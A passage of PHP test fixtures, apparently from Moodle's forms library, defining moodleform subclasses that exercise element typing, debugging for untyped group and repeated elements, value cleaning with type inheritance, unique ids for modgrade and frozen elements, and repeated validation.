array('type' => PARAM_RAW)), 'numtexts', 'addtexts'); } } /** * Used to test if debugging is called when a group contains elements without type. */ class formslib_settype_debugging_group extends moodleform { public function definition() { $mform = $this->_form; $group = array( $mform->createElement('text', 'groupel1', 'groupel1'), $mform->createElement('text', 'groupel2', 'groupel2') ); $mform->addGroup($group); $mform->setType('groupel2', PARAM_INT); } } /** * Used to test if debugging is called when a named group contains elements without type. */ class formslib_settype_debugging_namedgroup extends moodleform { public function definition() { $mform = $this->_form; $group = array( $mform->createElement('text', 'groupel1', 'groupel1'), $mform->createElement('text', 'groupel2', 'groupel2') ); $mform->addGroup($group, 'namedgroup'); $mform->setType('namedgroup[groupel2]', PARAM_INT); } } /** * Used to test if debugging is called when has a funky name. */ class formslib_settype_debugging_funky_name extends moodleform { public function definition() { $mform = $this->_form; $mform->addElement('text', 'blah[foo][bar][0]', 'test', 'test'); $mform->addElement('text', 'blah[foo][bar][1]', 'test', 'test'); $mform->setType('blah[foo][bar][0]', PARAM_INT); } } /** * Used to test that debugging is not called with type inheritance. */ class formslib_settype_debugging_type_inheritance extends moodleform { public function definition() { $mform = $this->_form; $mform->addElement('text', 'blah[foo][bar][0]', 'test1', 'test'); $mform->addElement('text', 'blah[bar][foo][1]', 'test2', 'test'); $mform->addElement('text', 'blah[any][other][2]', 'test3', 'test'); $mform->setType('blah[foo][bar]', PARAM_INT); $mform->setType('blah[bar]', PARAM_FLOAT); $mform->setType('blah', PARAM_TEXT); } } /** * Used to test the debugging when using groups in repeated elements. */ class formslib_settype_debugging_type_group_in_repeat extends moodleform { public function definition() { $mform = $this->_form; $groupelements = array( $mform->createElement('text', 'test1', 'test1', 'test'), $mform->createElement('text', 'test2', 'test2', 'test') ); $group = $mform->createElement('group', null, 'group1', $groupelements, null, false); $this->repeat_elements(array($group), 1, array('test1' => array('type' => PARAM_INT)), 'hidden', 'button'); } } /** * Used to test the debugging when using named groups in repeated elements. */ class formslib_settype_debugging_type_namedgroup_in_repeat extends moodleform { public function definition() { $mform = $this->_form; $groupelements = array( $mform->createElement('text', 'test1', 'test1', 'test'), $mform->createElement('text', 'test2', 'test2', 'test') ); $group = $mform->createElement('group', 'namedgroup', 'group1', $groupelements, null, true); $this->repeat_elements(array($group), 1, array('namedgroup[test1]' => array('type' => PARAM_INT)), 'hidden', 'button'); } } /** * Used to check value cleaning. */ class formslib_clean_value extends moodleform { public function get_form() { return $this->_form; } public function definition() { $mform = $this->_form; // Add a simple int. $mform->addElement('text', 'simpleel', 'simpleel'); $mform->setType('simpleel', PARAM_INT); // Add a non-named group. $group = array( $mform->createElement('text', 'groupel1', 'groupel1'), $mform->createElement('text', 'groupel2', 'groupel2'), $mform->createElement('text', 'groupel3', 'groupel3') ); $mform->setType('groupel1', PARAM_INT); $mform->setType('groupel2', PARAM_FLOAT); $mform->setType('groupel3', PARAM_INT); $mform->addGroup($group); // Add a named group. $group = array( $mform->createElement('text', 'sndgroupel1', 'sndgroupel1'), $mform->createElement('text', 'sndgroupel2', 'sndgroupel2'), $mform->createElement('text', 'sndgroupel3', 'sndgroupel3') ); $mform->addGroup($group, 'namedgroup'); $mform->setType('namedgroup[sndgroupel1]', PARAM_INT); $mform->setType('namedgroup[sndgroupel2]', PARAM_FLOAT); $mform->setType('namedgroup[sndgroupel3]', PARAM_INT); // Add a named group, with inheritance. $group = array( $mform->createElement('text', 'thdgroupel1', 'thdgroupel1'), $mform->createElement('text', 'thdgroupel2', 'thdgroupel2') ); $mform->addGroup($group, 'namedgroupinherit'); $mform->setType('namedgroupinherit', PARAM_INT); // Add a repetition. $repeat = $mform->createElement('text', 'repeatedel', 'repeatedel'); $this->repeat_elements(array($repeat), 2, array('repeatedel' => array('type' => PARAM_INT)), 'repeatable', 'add', 0); // Add a repetition, with inheritance. $repeat = $mform->createElement('text', 'repeatedelinherit', 'repeatedelinherit'); $this->repeat_elements(array($repeat), 2, array(), 'repeatableinherit', 'add', 0); $mform->setType('repeatedelinherit', PARAM_INT); // Add an arbitrary named element. $mform->addElement('text', 'squaretest[0]', 'squaretest[0]'); $mform->setType('squaretest[0]', PARAM_INT); // Add an arbitrary nested array named element. $mform->addElement('text', 'nested[0][bob][123]', 'nested[0][bob][123]'); $mform->setType('nested[0][bob][123]', PARAM_INT); // Add inheritance test cases. $mform->setType('nested', PARAM_INT); $mform->setType('nested[0]', PARAM_RAW); $mform->setType('nested[0][bob]', PARAM_FLOAT); $mform->addElement('text', 'nested[1]', 'nested[1]'); $mform->addElement('text', 'nested[0][xyz]', 'nested[0][xyz]'); $mform->addElement('text', 'nested[0][bob][foo]', 'nested[0][bob][foo]'); // Add group in repeated element (with extra inheritance). $groupelements = array( $mform->createElement('text', 'repeatgroupel1', 'repeatgroupel1'), $mform->createElement('text', 'repeatgroupel2', 'repeatgroupel2') ); $group = $mform->createElement('group', 'repeatgroup', 'repeatgroup', $groupelements, null, false); $this->repeat_elements(array($group), 2, array('repeatgroupel1' => array('type' => PARAM_INT), 'repeatgroupel2' => array('type' => PARAM_INT)), 'repeatablegroup', 'add', 0); // Add named group in repeated element. $groupelements = array( $mform->createElement('text', 'repeatnamedgroupel1', 'repeatnamedgroupel1'), $mform->createElement('text', 'repeatnamedgroupel2', 'repeatnamedgroupel2') ); $group = $mform->createElement('group', 'repeatnamedgroup', 'repeatnamedgroup', $groupelements, null, true); $this->repeat_elements(array($group), 2, array('repeatnamedgroup[repeatnamedgroupel1]' => array('type' => PARAM_INT), 'repeatnamedgroup[repeatnamedgroupel2]' => array('type' => PARAM_INT)), 'repeatablenamedgroup', 'add', 0); } } /** * Used to test that modgrade fields get unique id attributes. */ class formslib_multiple_modgrade_form extends moodleform { public function definition() { $mform = $this->_form; $mform->addElement('modgrade', 'grade1', 'Grade 1'); $mform->addElement('modgrade', 'grade2', 'Grade 2'); $mform->addElement('modgrade', 'grade[3]', 'Grade 3'); } } /** * Used to test frozen elements get unique id attributes. */ class formslib_persistantrreeze_element extends moodleform { public function definition() { $mform = $this->_form; // Create advanced checkbox. // Persistant. $advcheckboxpersistant = $mform->addElement('advcheckbox', 'advcheckboxpersistant', 'advcheckbox'); $mform->setType('advcheckboxpersistant', PARAM_BOOL); $advcheckboxpersistant->setChecked(true); $advcheckboxpersistant->freeze(); $advcheckboxpersistant->setPersistantFreeze(true); // Frozen. $advcheckboxfrozen = $mform->addElement('advcheckbox', 'advcheckboxfrozen', 'advcheckbox'); $mform->setType('advcheckboxfrozen', PARAM_BOOL); $advcheckboxfrozen->setChecked(true); $advcheckboxfrozen->freeze(); // Neither persistant nor Frozen. $mform->addElement('advcheckbox', 'advcheckboxnotpersistant', 'advcheckbox'); $mform->setType('advcheckboxnotpersistant', PARAM_BOOL); // Create text fields. // Persistant. $elpersistant = $mform->addElement('text', 'textpersistant', 'test', 'test'); $mform->setType('textpersistant', PARAM_TEXT); $elpersistant->freeze(); $elpersistant->setPersistantFreeze(true); // Frozen. $elfrozen = $mform->addElement('text', 'textfrozen', 'test', 'test'); $mform->setType('textfrozen', PARAM_TEXT); $elfrozen->freeze(); // Neither persistant nor Frozen. $mform->addElement('text', 'textnotpersistant', 'test', 'test'); $mform->setType('textnotpersistant', PARAM_TEXT); } } /** * Used to test that you can validate a form more than once. See MDL-56250. * @package core_form * @author Daniel Thee Roperto <daniel.roperto@catalyst-au.net> * @copyright 2016 Catalyst IT * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class formslib_multiple_validation_form extends moodleform { /** * Simple definition, one text field which can have a number. */ public function definition() { $mform = $this->_form; $mform->addElement('text', 'somenumber'); $mform->setType('somenumber', PARAM_INT); } /** * The number cannot be negative. * @param array $data An array of form data * @param array $files An array of form files * @return array Error messages */ public function validation($data, $files) { $errors = parent::validation($data, $files); if ($data['somenumber'] < 0) { $errors['somenumber'] = 'The number cannot be negative.'; } return $errors; } }
Close